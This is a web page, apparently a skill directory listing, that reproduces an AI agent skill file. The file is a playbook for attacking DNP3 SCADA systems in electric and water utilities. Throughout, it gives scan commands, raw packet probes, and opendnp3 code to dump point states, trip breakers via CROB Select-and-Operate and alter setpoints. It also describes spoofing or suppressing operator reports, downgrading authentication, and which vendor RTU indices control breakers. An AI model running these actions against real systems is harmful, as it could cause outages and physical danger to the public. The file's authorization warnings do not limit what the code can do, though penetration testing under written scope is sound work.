OpenParable
Skip to content
← Back to skills

Ics Dnp3

DevOps & Security
ics-dnp3

Ics Dnp3 is an Agent Skill for devops & security published in the PurpleAILAB/Decepticon repository on GitHub: a SKILL.md instruction file an AI agent can load to do this task.

DNP3 attack — TCP/20000 (or 19999 serial-over-TCP) outstation enumeration, binary input / analog input poll, control relay output block (CROB) actuation, unsolicited reporting abuse, DNP3 Secure Authentication (DNP3-SA) downgrade, vendor-specific objects.

View on GitHub ↗
QUICK START

How to use this skill

Bring this guide into your coding agent with a prompt tailored to the tool you use.

  1. Open your project in Codex.
  2. Copy and paste the prompt below.
  3. Review files and risks before approving any action.
Prompt to paste
Inspect the Agent Skill at https://github.com/PurpleAILAB/Decepticon/blob/HEAD/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/dnp3/SKILL.md and all supporting files. Report provenance, permissions, scripts, dependencies, and security risks. Propose an exact installation into .agents/skills/ics-dnp3, but wait for my approval before writing files or running scripts.

Copying this prompt does not install or run the skill. Review third-party files before use.

DNP3 Attack — Utility SCADA

DNP3 is the dominant protocol in North American electric utilities (substations, RTUs) and water/wastewater. TCP/20000.

Discover

# nmap
nmap -p 20000 --script=dnp3-info 10.0.0.0/24

# Or pyOPENDNP3 / pydnp3 / dnp3-toolkit
# Quick test:
python3 -c '
import socket, struct
# DNP3 link layer Start (0x05 0x64), Length, Control, Dest, Src
pkt = b"\x05\x64\x05\xc0\x00\x00\x01\x00\xa5\xa1"
s = socket.socket(); s.connect(("10.0.0.50", 20000)); s.send(pkt)
print(s.recv(256).hex())
'

Read attacks (passive — generally safe)

# pydnp3 (or opendnp3 Python binding) — read class 0, 1, 2, 3 data
import opendnp3
# ... master init + asyncrun ...
# Class 0 = static (current value of every point)
# Class 1/2/3 = events (changes)
master.ScanClasses([0, 1, 2, 3])
# Output: a dump of every binary/analog/counter/control point's state.

Control attacks (potentially HIGH IMPACT)

Control Relay Output Block (CROB) — trip / close a breaker

# Group 12 Var 1 CROB — operation field controls action
# trip = 0x81, close = 0x41, pulse on = 0x01
import opendnp3
crob = opendnp3.ControlRelayOutputBlock(opendnp3.ControlCode.LATCH_ON)
res = master.SelectAndOperate(crob, 5)   # select+operate on index 5
# Index 5 might be "circuit breaker 5 trip" — opens the breaker.

This is the single most dangerous DNP3 primitive: a successful Select+Operate on the right index can trip transmission breakers, open dam gates, shut off pumps.

Analog Output Block (AOB) — setpoint

aob = opendnp3.AnalogOutputInt16(value=100)
master.SelectAndOperate(aob, 3)
# index 3 might be voltage setpoint, water level, etc.

Unsolicited reporting abuse

DNP3 supports outstation-initiated reports. An attacker positioned between master and outstation can:

  • Inject fake unsolicited reports (false alarms) — operator response cascade
  • Suppress real reports — operator blind during a real fault
  • Reply with stale data via timestamp tampering (Group 50 Var 1)

DNP3 Secure Authentication (DNP3-SA) downgrade

DNP3-SA adds HMAC-based message authentication. Many implementations support both authenticated and unauthenticated modes for backward compatibility:

# Send unauthenticated control with a "session key change" request
# If outstation accepts ANY pre-shared key, the implementation is broken.
# Check via opendnp3.SecureAuthentication examples.

Many older RTUs don't support DNP3-SA at all — full unauthenticated control plane.

Tooling

# dnp3-toolkit (pen-test focused)
pip install dnp3-toolkit
dnp3-scan 10.0.0.0/24
dnp3-info 10.0.0.50

# Free Modbus / DNP3 simulator (for testing PoCs offline before live engagement)
opendnp3 examples — github.com/dnp3/opendnp3

OPSEC + safety

  • Critical safety: DNP3 controls the bulk electric power system (in North America). Trip operations cause real outages. SelectAndOperate on a transmission breaker can blackout neighborhoods. Require written scope authorization for any control-class action.
  • ICS-CERT and EISAC actively monitor for unusual DNP3 traffic. Master-station IP changes are detected.
  • DNP3 over modem (serial) is common in older substations — your network position must be at the SCADA master, not internet.

Reference indices for common deployments

Vendor RTUCommon control indices
GE D20Breaker trip = 0-9, recloser = 10-19
SEL-2440Per-feeder breaker = 16-23
Schweitzer RTACIndices vary heavily by configuration

Always confirm point map (POINT.CSV or DNP3 device profile) before any write.

References

  • IEEE 1815 (DNP3 standard) and "DNP3 Application Layer" specification
  • "Hacking the Electric Grid" — Daniel Crowley (Trustwave / X-Force Red)
  • DEFCON 27 ICS Village "DNP3 Authentication Bypass"
  • NERC CIP-007/CIP-005 (defender baseline — useful to understand what's audited)